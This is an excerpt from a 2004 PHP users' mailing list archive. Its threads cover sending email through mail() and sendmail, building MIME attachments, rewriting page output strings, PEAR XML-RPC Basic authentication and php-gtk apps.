Speed-wize you should notice that mail() is extreeeeemly slower that "sockets"... if you send many emails in a loop PHP opens and closes a connection for every mai lyou send... compared with sockets when (if you write good code) you have only one connection opened and multiple mail sent... With all these problems... found in 5 minutes.. .what if I would have spent 30 mins or 1 day... It's amaizing that we are able to send mail... :)) Gabriel PREDA www.amr.ro From mjdewitt at alexcommgrp.com Fri Jun 11 09:26:46 2004 From: mjdewitt at alexcommgrp.com (DeWitt, Michael) Date: Fri, 11 Jun 2004 09:26:46 -0400 Subject: [nycphp-talk] sending email from PHP Message-ID: In this post I neglected to mention the need to change php.ini so that the sendmail parameters can be passed. Here is the updated post. Mike -------------------------------------------------------------------------- I have some issues along these lines but made a few changes in the way PHP interfaces with sendmail. Here are the key changes: 1. Set the from address in sendmail before you use it and set delivery mode to defer. Make sure your from address is a trusted user of sendmail to suppress the warning of identity change. $fromaddress='info at yourdomain.com' putenv("PHP_SENDMAILPARAMS= -O DeliveryMode=defer -f $fromaddress"); Change the sendmail_path line in php.ini to read: sendmail_path = /usr/lib/sendmail -t -i $PHP_SENDMAILPARAMS 2. Build your lists and use the regular ole mail command $datasent=mail($toaddress, $subject, $bodytext, "From: ".$fromaddress."\r\n" ."Bcc:".$addbcc."\r\n" ."Reply-To: ".$fromaddress."\r\n" ."Errors-To: <".$fromaddress.">"."\r\n" ."X-Mailer: PHP/" . phpversion()); 3.Flush the queue or just wait for sendmail's natural queue flush (depends on how you have this setup and how quickly you need to process the queue) $processq=exec('/usr/lib/sendmail -q >/dev/null &'); Making these changes made email broadcasts practical and is 100 x faster than the default setup where php waits for sendmail to deliver. Hope this helps Mike > -----Original Message----- > From: corey szopinski [SMTP:corey at domanistudios.com] > Sent: Thursday, June 03, 2004 1:20 PM > To: NYPHP Talk > Subject: [nycphp-talk] sending email from PHP > > I'm trying to build a tool to send dynamic emails (think order summary) > from PHP. I'm running into very long delays waiting for sendmail to return > a result. > > For example, a person submits an order, the function that handles the > transaction does a couple of things: > > 1. Sends an order confirmation to the store > 2. Sends an order confirmation to the customer > > The whole process can take over 1 minute, which times out the browser. > I've tracked it down the delay to sendmail verifying the remote email > address. Since sendmail talks to the remote mail server in real-time, any > network lag, or DNS lag, causes the order process to hang. In my case, it > does it twice. > > I've looked at Pear Mail_Queue, and that looks interesting, but a bit > overkill. I've also looked at going around the mail() function and opening > an SMTP socket directly to sendmail (same delays... in fact when I open a > session via command line, I can see the exact step in the SMTP conversion > where the lag happens) > > Here's what I'd like to do (and this would be helpful for anyone sending > out a modest volume of email)... > > 1. send the mail to sendmail > 2. sendmail puts it into a queue > 3. sendmail periodically checks this queue and sends the email. > > Essentially, I'd like to fork the slow lookup stuff to the background, > returning control the browser as soon as possible. This has the added > benefit of scaling to very large emails/hour since the browser never has > to wait for sendmail (or an external server) before a visitor can move on. > > I'm pretty sure that this is intrinsic to the way sendmail works, but most > of the documentation talks about the queue holding mail that's not > deliverable. What I'd like to do is put to put a delay on the email before > it's processed by sendmail. > > Any ideas? > > -corey > > > > > DOMANI STUDIOS > > Corey Szopinski > Technology Director > > corey at domanistudios.com > 70 Washington St. Suite 710 > Brooklyn, NY 11201 > 718.797.4470 x116 > > << File: ATT13382.txt >> From sm11szw02 at sneakemail.com Fri Jun 11 11:21:25 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 11 Jun 2004 11:21:25 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving - best practices and ideas? Message-ID: <28230-40015@sneakemail.com> I would like to ask you all what are recommended techniques for dynamic string manipulation/insertion on my website in an AMP environment. I have an existing mysql database of content "blah blah blah, ad nausium blah blah blah" served by various dynamic pages, and would like to modify replace certain string content under certain conditions. I want some display-related parsing, such as "blah blah blah, ad nausium blah blah blah" on certain pages I want some addition stuff in other places "blah blah blah, ad nausium (Ticker: AdNaus) blah blah blah" on other pages or outright replacement in some cases "blah blah blah, Argumentum ad Misericordiam blah blah blah" I want some security/graphic manipulations on other pages "blah blah blah" . . "  blah blah blah" on other pages but in general it is always "watch for the string 'ad nauseum' and if you see it, do THIS before sending out to browser" where THIS may be generalized as a predefind (currently PHP) function on said string. The database text content is relatively static, while the desired manipulations (functions) will change frequently. Where is it "best" to watch for/modify this content? Should it be tagged and post-processed, or can it be modified at the mysql query level? Stored procedure? Can Apache do it - with hooks back into php? I desire to stay within AMP. Currently it is custom php coding for each page type served. Thanks for any comments/suggestions/examples John Andrews From phillip.powell at adnet-sys.com Fri Jun 11 12:09:40 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Fri, 11 Jun 2004 12:09:40 -0400 Subject: [nycphp-talk] custom mail() with attachment problemusingRH7.3/Apache In-Reply-To: <00ef01c44f87$9a23c030$0100a8c0@amrserver> References: <00ef01c44f87$9a23c030$0100a8c0@amrserver> Message-ID: <40C9D944.8000001@adnet-sys.com> Thanx for your tips. I should have let you know that "mime_content_type" is custom in my case as my instance of PHP does not have that function (I'm using 4.3.2); simple one-liner that does an exec on "file -bi " on the file wrapped around escapeshellarg(). Here is the updated function that now seems to work: [PHP] // ORIGINAL FUNCTION FOUND AT http://www.php.net/manual/en/function.mail.php#41681 WITH cc AND bcc MODIFICATIONS BY PHIL POWELL 6/10/2004 function mail_attach($to, $subject, $message, $from, $files = false, $lb="\n", $cc = '', $bcc = '') { /*---------------------------------------------------------------------------------------------- $to Recipient $from Sender (like "email at domain.com" or "Name ") $subject Subject $message Content $files hash-array of files to attach $lb is linebreak characters... some mailers need \r\n, others need \n -------------------------------------------------------------------------------------------------*/ global $phpVersionInt; $mime_boundary = "<<<:" . md5(uniqid(mt_rand(), 1)); $header = 'From: '. $from; if ($cc) $header .= $lb . "Cc: $cc"; if ($bcc && (int)$phpVersionInt > 430) $header .= $lb . "Bcc: $bcc"; if (is_array($files)) { $header.= $lb; $header.= "MIME-Version: 1.0".$lb; $header.= "Content-Type: multipart/mixed;".$lb; $header.= " boundary=\"".$mime_boundary."\"".$lb; $content = "This is a multi-part message in MIME format.".$lb.$lb; $content.= "--".$mime_boundary.$lb; $content.= "Content-Type: text/plain; charset=\"iso-8859-1\"".$lb; $content.= "Content-Transfer-Encoding: 7bit".$lb.$lb; } $content.= $message.$lb; if (is_array($files)) { $content.= "--".$mime_boundary.$lb; foreach($files as $filename => $filelocation) { if(is_readable($filelocation) && is_file($filelocation)) { $fileID = @fopen($filelocation, 'r'); $data = @fread($fileID, filesize($filelocation)); @fclose($fileID); $data = chunk_split(base64_encode($data)); $content.= "Content-Disposition: attachment;".$lb; $content.= 'Content-Type: ' . mime_content_type($filelocation) . ';'; $content.= " name=\"".$filename."\"".$lb; $content.= "Content-Transfer-Encoding: base64".$lb.$lb; $content.= $data.$lb; $content.= "--".$mime_boundary.$lb; } } } if (mail($to, $subject, $content, $header)) return true; return false; } [/PHP] Thanx for your help! Phil Gabriel PREDA wrote: > - Problem lies in "mime_content_type" it's not a good function even > if you have magic.mime... not to mention if you do not have it. > It's sort of undocumented function : "Returns the MIME content type for >a > file as determined by using information from the magic.mime file. Content > types are returned in MIME format, like text/plain or > application/octet-stream." > But it says not what happens if it fails... or if the file has an > unrecognizable mime. Try to use something else > > - You're using a custom line break although in PHP manual says: >"You > must use \r\n to separate headers, although some Unix mail transfer agents > may work with just a single newline (\n)." Also note SMTP and MINE >standards > (RFC821/822 and ancestors) that require messages to have \r\n . :) > > - You do not have a charset definition in header: > Content-Type: text/plain; charset="iso-8859-1" > > - If your mail server requires authentication you need to > communicate directly via sockets. > > - A misssssconfigured SENDMAIL cand return false if it has some > errors... even though the mail was sent... > - Take note that RFC 821 prohibits lines longer than 998 bytes. > > - Speed-wize you should notice that mail() is extreeeeemly slower > that "sockets"... if you send many emails in a loop PHP opens and closes a > connection for every mai lyou send... compared with sockets when (if you > write good code) you have only one connection opened and multiple mail > sent... > > > With all these problems... found in 5 minutes.. .what if I would have spent > 30 mins or 1 day... > > It's amaizing that we are able to send mail... :)) > > Gabriel PREDA > www.amr.ro > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From jayeshsh at ceruleansky.com Fri Jun 11 12:41:24 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Fri, 11 Jun 2004 12:41:24 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving -, best practices and ideas? Message-ID: <40C9E0B4.2020602@ceruleansky.com> Hello, I would say that the easiest way to do this would be to use (the built-in PHP function) str_replace() after you have run the query. For example, suppose you have the following table: id | title | desc ---|-------|----- 1 | bob | nickname Your goal is to replace "bob" with "Robert" when it appears in the title field. So, a PHP function runs the following query: SELECT title FROM mytable WHERE id='1' [...] Then , you do something like: $title = str_replace("bob", "Robert", $title); Later, if you want "bob" to be replaced with "Roberta", you could just do: $title = str_replace("bob", "Roberta", $title); I know my answer seems a bit simplistic; I hope I understood the nature of your question correctly - perhaps their are more complex replacement that you'd like to do. In any case, PHP has more than enough search and replace features - so I would do the replacement from within PHP (and not in the SQL query or elsewhere). Best Regards, - Jay From rolan at omnistep.com Fri Jun 11 12:47:46 2004 From: rolan at omnistep.com (Rolan Yang) Date: Fri, 11 Jun 2004 12:47:46 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving - best practices and ideas? In-Reply-To: <28230-40015@sneakemail.com> References: <28230-40015@sneakemail.com> Message-ID: <40C9E232.8060103@omnistep.com> If your code is messy and it would be too tedious going through and doing str_replace's, you might want to write an buffer handler that does a search/replace on the output buffer. This script could include'd at the top of each php script. See: http://www.php.net/manual/en/ref.outcontrol.php for more info. ~Rolan inforequest wrote: > I would like to ask you all what are recommended techniques for > dynamic string manipulation/insertion on my website in an AMP > environment. > > I have an existing mysql database of content "blah blah blah, ad > nausium blah blah blah" served by various dynamic pages, and would > like to m From sm11szw02 at sneakemail.com Fri Jun 11 13:03:51 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 11 Jun 2004 13:03:51 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving -, best practices and ideas? In-Reply-To: <40C9E0B4.2020602@ceruleansky.com> References: <40C9E0B4.2020602@ceruleansky.com> Message-ID: <23161-05358@sneakemail.com> Thanks for the suggestion. This approach is great for coding a particular page/template (php string functions are tremendous) but I suspect there is a more systematic solution that would allow such string replacements to be performed on all pages that match some criteria - systematic and site wide - perhaps even outside of PHP. The idea is that since only the rulesets and the database data will change, I don't want ot edit the page code. I suppose a set of INCLUDEs for the php processing could be used (Case ONE below) but is that the best way? i.e. for Normal Page type = "X" (repeat for any other "type" of page which has a different strng processing ruleset): Case ONE: // never changes // <-- your str_replace + substr+whatever code // never changes // never changes CASE TWO: // never changes // never changes // never changes // <-- here lies the question. Can pass to external PHP scripts or something? // never changes or maybe CASE THREE: // <-- here lies the question. Is MySQL a good choice for doing this, and if yes, how? // never changes // never changes // never changes Are case 2 and 3 viable options? Aside from developer preference, is any one of these three offer significant benefits over the others? I consider maintaining the custom PHP code for each page type a draw back, as only the content and the filter/replace rulesets will be changing in this application (nothing else in the page code). I hope that is clearer.... Jayesh Sheth jayeshsh-at-ceruleansky.com |nyphp 04/2004| wrote: > Hello, > > I would say that the easiest way to do this would be to use (the > built-in PHP function) str_replace() after you have run the query. > > For example, suppose you have the following table: > > id | title | desc > ---|-------|----- > 1 | bob | nickname > > Your goal is to replace "bob" with "Robert" when it appears in the > title field. > > So, a PHP function runs the following query: > SELECT title FROM mytable WHERE id='1' > > [...] > > Then , you do something like: > $title = str_replace("bob", "Robert", $title); > > Later, if you want "bob" to be replaced with "Roberta", you could just > do: > $title = str_replace("bob", "Roberta", $title); > > I know my answer seems a bit simplistic; I hope I understood the > nature of your question correctly - perhaps their are more complex > replacement that you'd like to do. > > In any case, PHP has more than enough search and replace features - so > I would do the replacement from within PHP (and not in the SQL query > or elsewhere). > > Best Regards, > > - Jay > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From sm11szw02 at sneakemail.com Fri Jun 11 13:11:33 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 11 Jun 2004 13:11:33 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving - best practices and ideas? In-Reply-To: <40C9E232.8060103@omnistep.com> References: <28230-40015@sneakemail.com> <40C9E232.8060103@omnistep.com> Message-ID: <25305-34583@sneakemail.com> Excellent, thanks. I didn't know output buffering was re-entrant. Can anyone comment on the performance issues of re-entrant use site wide (every page would be processed through at least one layer of output buffering.... a nice way to preserve the original code base, but at what performance cost? Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > If your code is messy and it would be too tedious going through and > doing str_replace's, you might want to write an buffer handler that > does a search/replace > on the output buffer. This script could include'd at the top of each > php script. > > See: http://www.php.net/manual/en/ref.outcontrol.php > for more info. > > ~Rolan > > > inforequest wrote: > >> I would like to ask you all what are recommended techniques for >> dynamic string manipulation/insertion on my website in an AMP >> environment. >> >> I have an existing mysql database of content "blah blah blah, ad >> nausium blah blah blah" served by various dynamic pages, and would >> like to m > From jonbaer at jonbaer.net Fri Jun 11 13:31:36 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 11 Jun 2004 13:31:36 -0400 Subject: [nycphp-talk] dynamic string manipulation when web serving - best practices and ideas? In-Reply-To: <28230-40015@sneakemail.com> References: <28230-40015@sneakemail.com> Message-ID: <20040611173136.GA11802@jonbaer.net> Sounds like you need to do more than something simple (like a template engine), if you want to play around with sticking a template inside of mysql you can call it like: "select replace(db.field, "foo", "bar") from db.template" MySQL has alot of basic string commands for finding an index, replacing, inserting, etc ... so technically you can create a SQL statement which throws a set @ a query to produce a template if you just wanted to use the DB. On a side note I thought with 4.1 you could subselect the replacement but I just tried and I guess that's not the case :-\ - Jon On Fri, Jun 11, 2004 at 11:21:25AM -0400, inforequest wrote: > Where is it "best" to watch for/modify this content? Should it be tagged > and post-processed, or can it be modified at the mysql query level? > Stored procedure? Can Apache do it - with hooks back into php? -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From lists at prusak.com Fri Jun 11 13:47:00 2004 From: lists at prusak.com (Ophir Prusak) Date: Fri, 11 Jun 2004 13:47:00 -0400 Subject: [nycphp-talk] Achievo ATK In-Reply-To: <25305-34583@sneakemail.com> References: <28230-40015@sneakemail.com> <40C9E232.8060103@omnistep.com> <25305-34583@sneakemail.com> Message-ID: <40C9F014.20602@prusak.com> Hi all, I just came across Achievo ATK: http://www.achievo.org/atk/ Achievo ATK is an object oriented Web-application Framework, written in PHP. I've only been looking at the examples / docs for about 20 minutes, but it looks very impressive. Has anyone here used it or know anything about it other than the info on the site? Thanx Ophir From phillip.powell at adnet-sys.com Fri Jun 11 13:51:05 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Fri, 11 Jun 2004 13:51:05 -0400 Subject: [nycphp-talk] custom mail() with attachment problemusingRH7.3/Apache In-Reply-To: <00ef01c44f87$9a23c030$0100a8c0@amrserver> References: <00ef01c44f87$9a23c030$0100a8c0@amrserver> Message-ID: <40C9F109.8020004@adnet-sys.com> Gabriel PREDA wrote: > - Problem lies in "mime_content_type" it's not a good function even > if you have magic.mime... not to mention if you do not have it. > It's sort of undocumented function : "Returns the MIME content type for >a > file as determined by using information from the magic.mime file. Content > types are returned in MIME format, like text/plain or > application/octet-stream." > But it says not what happens if it fails... or if the file has an > unrecognizable mime. Try to use something else > > - You're using a custom line break although in PHP manual says: >"You > must use \r\n to separate headers, although some Unix mail transfer agents > may work with just a single newline (\n)." Also note SMTP and MINE >standards > (RFC821/822 and ancestors) that require messages to have \r\n . :) > > Well, here's one for the books.. "\r\n" fails (email is either mangled or never sent at all!), but "\n" works just fine! So I can't use \r\n to separate headers even though it's required for me to do so! Phil > - You do not have a charset definition in header: > Content-Type: text/plain; charset="iso-8859-1" > > - If your mail server requires authentication you need to > communicate directly via sockets. > > - A misssssconfigured SENDMAIL cand return false if it has some > errors... even though the mail was sent... > - Take note that RFC 821 prohibits lines longer than 998 bytes. > > - Speed-wize you should notice that mail() is extreeeeemly slower > that "sockets"... if you send many emails in a loop PHP opens and closes a > connection for every mai lyou send... compared with sockets when (if you > write good code) you have only one connection opened and multiple mail > sent... > > > With all these problems... found in 5 minutes.. .what if I would have spent > 30 mins or 1 day... > > It's amaizing that we are able to send mail... :)) > > Gabriel PREDA > www.amr.ro > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From drydell at att.net Fri Jun 11 14:32:07 2004 From: drydell at att.net (drydell at att.net) Date: Fri, 11 Jun 2004 18:32:07 +0000 Subject: [nycphp-talk] custom mail() with attachment problemusingRH7.3/Apache Message-ID: <061120041832.26544.40C9FAA700057AF6000067B0216028074804040A0B979D0B@att.net> I've never had much luck using \r\n in HTTP or email headers either - just at the beginning MIME header... this snippet is from my email class, wich has never given me any problems: if (count($this->attach) > 0) { $mime_boundary = "==Multipart_Boundary_".md5(uniqid("")); $headers = "\r\nMIME-Version: 1.0\nContent-Type: multipart/mixed; boundary=\"$mime_boundary\""; $message = "This is a multi-part message in MIME format.\n\n"; $message .= "--$mime_boundary\n"; $message .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n"; $message .= "Content-Transfer-Encoding: 7bit\n\n$email_msg\n\n"; $message .= "--$mime_boundary\n"; foreach ($this->attach as $filename => $fileArray) { $message .= "Content-Type: {$fileArray['type']};\n name=\"{$filename}\"\n"; $message .= "Content-Disposition: attachment;\n filename=\"{$filename}\"\n"; $message .= "Content-Transfer-Encoding: base64\n\n{$fileArray['data']}\n\n"; $message .= "--$mime_boundary\n"; } } > > Well, here's one for the books.. "\r\n" fails (email is either mangled > or never sent at all!), but "\n" works just fine! > -------------- next part -------------- An HTML attachment was scrubbed... URL: From patkins at killinglyschools.org Fri Jun 11 19:33:57 2004 From: patkins at killinglyschools.org (patkins) Date: Fri, 11 Jun 2004 19:33:57 -0400 Subject: [nycphp-talk] session start() problem when passing string rags....index.php?x=1&y=2 Message-ID: <20040611233715.BE9DEA860A@virtu.nyphp.org> All, I using session_start() to instantiate the session inside in include page at the top of all pages. When I click on a link from page1.php that passes arguments like: page2.php?x=1&y=2 and then use my back button to return to page1.php I get a page expired warning from the browser as if I made a form submission. Without the session_start() it works fine. Any thoughts help you be great! Cheers, Peter From joel at tagword.com Sat Jun 12 00:16:21 2004 From: joel at tagword.com (Joel De Gan) Date: Sat, 12 Jun 2004 00:16:21 -0400 Subject: [nycphp-talk] php-gtk .. transparent etc.. Message-ID: <1087013781.11825.119.camel@bezel> Not sure if many of you are familiar with php-gtk. I am going to be posting some code on doing some crazy stuff with it, but here is a preview http://lucifer.intercosmos.net/test.jpg The graph is all in php, the icons are clickable and the data will be come from mysql in the form of num_selects/sec (or inserts etc).. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jonbaer at jonbaer.net Sat Jun 12 00:01:52 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Sat, 12 Jun 2004 00:01:52 -0400 Subject: [nycphp-talk] php-gtk .. transparent etc.. In-Reply-To: <1087013781.11825.119.camel@bezel> References: <1087013781.11825.119.camel@bezel> Message-ID: <20040612040152.GB12366@jonbaer.net> Pretty sweet ... Im just curious, Do you know offhand if there will ever be an upgrade to glib2? Either w/ php4 or php5? Or does such a package exist in hiding somewhere ... Is your code a lib package of some kind or a tutorial? - Jon On Sat, Jun 12, 2004 at 12:16:21AM -0400, Joel De Gan wrote: > Not sure if many of you are familiar with php-gtk. > I am going to be posting some code on doing some crazy stuff with it, > but here is a preview > http://lucifer.intercosmos.net/test.jpg > > The graph is all in php, the icons are clickable and the data will be > come from mysql in the form of num_selects/sec (or inserts etc).. > > -- > joeldg - developer, Intercosmos media group. > http://lucifer.intercosmos.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jayeshsh at ceruleansky.com Sat Jun 12 09:56:40 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Sat, 12 Jun 2004 09:56:40 -0400 Subject: [nycphp-talk] Authentication with XML-RPC Message-ID: <40CB0B98.8000308@ceruleansky.com> Hello Adam and Max, thanks very much for your responses to my question regarding authentication with XML-RPC. Sorry for the delayed response. Adam, I just posted a review to Amazon. It might take a while to appear, but here is what I wrote: ---- David Sklar has written a book on a subject that most other PHP authors have ignored, and which many PHP programmers have failed to consider: how using pre-made, existing libraries effectively can save you hours of writing (and re-writing) PHP code. There are many external libraries available to PHP, some under the PEAR brand ( http://pear.php.net ) and others by individual authors or companies. If you would like to automate the creation, processing and validatin of form processing, there's HTML_QuickForm. If you'd like to implement a templating system to separate presentation logic from other programming logic, there's Smarty. If you would like to setup a lightweight, yet completely usable and effective web services platform, there's the PEAR XML-RPC library. In many of these case, the online documentation is too complicated or technical (e.g. HTML_QuickForm) or too skimpy (PEAR XML-RPC). Enter David Sklar's book! David uses concise, clear language with plenty of examples to explain how a certain library works. He goes through it step-by-step, first with a paragraph of descriptive text, then with a snippet of code elucidating what was previously mentioned. He manages to cover just enough ground to enable you to grasp how to use a certain library without boring you to tears with extraneous, non-essential information. If you would like to avoid re-inventing the wheel and the introduction of bugs (that almost always follows the insertion of new, untested code), I suggest you procure a copy of Essential PHP Tools today, and read it cover-to-cover! ---- Max, thank you for your offer of examples and help. Any examples that you can provide would be helpful, but I did uncover something interesting at the PEAR website documentation page for the XML-RPC library ( http://pear.php.net/manual/en/package.webservices.xml-rpc.api.php ): there is a setCredentials method, which (apparently) allows you to specify the username and password required to POST to an htaccess protected PHP (XML-RPC Server) file - "setCredentials $client->setCredentials ($username, $password) This method sets the username and password for authorizing the client to a server. With the default (HTTP) transport, this information is used for HTTP Basic authorization." I hope I am understanding this correctly. If I did, then I think it would work like this. Suppose I uploaded the XML-RPC server part of the script to http://www.mydomain.com/server/server.php then I would have to protect the files in the "server" directory with an htaccess username and password. Then, when the client version of the XML-RPC script (say, residing on http://localhost/client/client.php) tries to POST an XML request to http://www.mydomain.com/server/server.php, it will need to know the htacess username and password in order to do so. Here is the relevant code from the XML-RPC class (with only some relevant information left in): ------ [from RPC.php] function setCredentials($u, $p) { $this->username = $u; $this->password = $p; } // [...] function sendPayloadHTTP10($msg, $server, $port, $timeout=0, $username = "", $password = "") { // [...] $credentials = ""; if ($username != "") { $credentials = "Authorization: Basic " . base64_encode($username . ":" . $password) . "\r\n"; } // [...] } ------ Initially I was worried about maintaining "state" so that the XML-RPC client would not have to resend the password each time to the XML-RPC server. But, then I realized that when a browser accesses an htaccess protected site, it just caches the username and password and resends it on each request to the site. So, since the XML-RPC client is a PHP script too, it can also (conceivably) read the username and password and resend it each time an XML POST is made. Sytems like PEAR's Auth library use cookies / sessions to keep track of logged in users, and users do not want to keep reentering their usernames and passwords. But in the case of a programmatic XML-RPC client, maybe this simple approach will work ... I still have not tried any of this yet, but I plan to base my prototype on this good article by Harry Fuecks: http://www.sitepoint.com/print/own-web-service-php-xml-rpc He is using Keith Devens' library - but Fueck's sample code does not work on my version of PHP (4.3.2). Something about ... "Call-time pass-by-reference" having been "deprecated". I am not sure what that is all about (I probably should know ...), but if anyone has an idea, please let me know. Sorry for being long-winded here - but I had a lot of stuff to get in. Maybe I should have made multiple emails for each subject. Next time (I promise). Best Regards, - Jay -- Cerulean Sky Creations, LLC http://www.ceruleansky.com From adam at trachtenberg.com Sat Jun 12 10:48:07 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Sat, 12 Jun 2004 10:48:07 -0400 (EDT) Subject: [nycphp-talk] Authentication with XML-RPC In-Reply-To: <40CB0B98.8000308@ceruleansky.com> References: <40CB0B98.8000308@ceruleansky.com> Message-ID: On Sat, 12 Jun 2004, Jayesh Sheth wrote: > Adam, I just posted a review to Amazon. It might take a while to appear, > but here is what I wrote: > > ---- > David Sklar has written a book on a subject that most other PHP authors > have ignored, and which many PHP programmers have failed to consider: > how using pre-made, existing libraries effectively can save you hours of > writing (and re-writing) PHP code. Awesome review! It really helps others understand the virtues of the book, and why the book will makes their PHP lives happier. :) Thanks. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From joel at tagword.com Sat Jun 12 14:02:46 2004 From: joel at tagword.com (Joel De Gan) Date: Sat, 12 Jun 2004 14:02:46 -0400 Subject: [nycphp-talk] php-gtk .. transparent etc.. In-Reply-To: <20040612040152.GB12366@jonbaer.net> References: <1087013781.11825.119.camel@bezel> <20040612040152.GB12366@jonbaer.net> Message-ID: <1087063366.11827.128.camel@bezel> It will mostly just be on my dev blog, a kind of tutorial though not as extensive as the ones I have done for zend, just a kind of "I assume you know php and here is the code, and here is an explanation of some of the funky stuff" etc.. As for php5, I tried and tried and they have a package that "supposedly" works but did not for me, they are planning on releasing the php-gtk for gtk2/php5 sometime this summer/early fall from what I can gather. Anyway, great fun. -joel On Sat, 2004-06-12 at 00:01, Jon Baer wrote: > Pretty sweet ... > > Im just curious, Do you know offhand if there will ever be an upgrade to > glib2? Either w/ php4 or php5? Or does such a package exist in hiding > somewhere ... > > Is your code a lib package of some kind or a tutorial? > > - Jon > > > On Sat, Jun 12, 2004 at 12:16:21AM -0400, Joel De Gan wrote: > > Not sure if many of you are familiar with php-gtk. > > I am going to be posting some code on doing some crazy stuff with it, > > but here is a preview > > http://lucifer.intercosmos.net/test.jpg > > > > The graph is all in php, the icons are clickable and the data will be > > come from mysql in the form of num_selects/sec (or inserts etc).. > > > > -- > > joeldg - developer, Intercosmos media group. > > http://lucifer.intercosmos.net > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From dmintz at davidmintz.org Sun Jun 13 13:59:15 2004 From: dmintz at davidmintz.org (David Mintz) Date: Sun, 13 Jun 2004 13:59:15 -0400 (EDT) Subject: [nycphp-talk] "Essential PHP Tools" review ( was Re:Authentication with XML-RPC) In-Reply-To: References: <40CB0B98.8000308@ceruleansky.com> Message-ID: At the risk of provoking flames for saying "me too:" Hear hear! Nice job on that review, Jayesh. I recently picked up Essential PHP Tools myself and was planning to contribute a review to BookPool (where I got it) and/or Amazon -- probably I still will -- but I'm glad you beat me to it. I have yet to read more than a few pages so didn't feel ready to opine formally. But so far, it's terrific. Extraordinary clarity and simplicity, but without talking down. Packed solid with good stuff. And, not infrequently, it's funny -- like all technical writing ought to be (-: Way to go, Sklar! On Sat, 12 Jun 2004, Adam Maccabee Trachtenberg wrote: > On Sat, 12 Jun 2004, Jayesh Sheth wrote: > > > Adam, I just posted a review to Amazon. It might take a while to appear, > > but here is what I wrote: > > > > ---- > > David Sklar has written a book on a subject that most other PHP authors > > have ignored, and which many PHP programmers have failed to consider: > > how using pre-made, existing libraries effectively can save you hours of > > writing (and re-writing) PHP code. > > Awesome review! It really helps others understand the virtues of the > book, and why the book will makes their PHP lives happier. :) > > Thanks. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From phillip.powell at adnet-sys.com Mon Jun 14 14:12:20 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Mon, 14 Jun 2004 14:12:20 -0400 Subject: [nycphp-talk] How to display LimitRequestBody Value in /etc/httpd/conf.d/php.conf Message-ID: <40CDEA84.20403@adnet-sys.com> I'd like to be able to display the amount found in the LimitRequestBody value that is set in /etc/httpd/conf.d/php.conf. I know the default value is 524288 bytes or so, but what if the admin changes that value; my application is portable and could be in multiple environments where LimitRequestBody might have a different value? I already have my settings in MAX_FILE_SIZE to handle maximum size; I even include a smaller local instance that I check server-side to ensure that it's (for now at) 100K. However, if the user attempts to upload anything more than 524288 bytes in size it will bomb out before it even gets to my redirection URL handling the error: 1) Mozilla Firefox: produces "Document contains no data" error alert client-side message 2) Konqueror: produces a local Konqueror error page with no error description I thought it would be best since these seem to be handled from the client (thus, nothing I can do about everybody's client browsers) to display a message indicating that their browser will not accept an upload of more than $LimitRequestBytes bytes in size. Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From joel at tagword.com Mon Jun 14 20:18:55 2004 From: joel at tagword.com (Joel De Gan) Date: Mon, 14 Jun 2004 20:18:55 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode Message-ID: <1087258735.7473.1.camel@bezel> Tutorial and sourcecode as promised. http://lucifer.intercosmos.net/tut/ cheers -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From joel at tagword.com Mon Jun 14 20:41:22 2004 From: joel at tagword.com (Joel De Gan) Date: Mon, 14 Jun 2004 20:41:22 -0400 Subject: [nycphp-talk] DINNER PARTY - SUMMER 2004 Message-ID: <1087260082.7412.6.camel@bezel> For those of you who we met at the PHP meeting, or even if we didn't check. http://evegirl.net/~projects/summer2004/party.html Eve is an amazing cook, we were known in New Orleans for our dinner parties at our house. (the largest was 25 people, four-course meal). 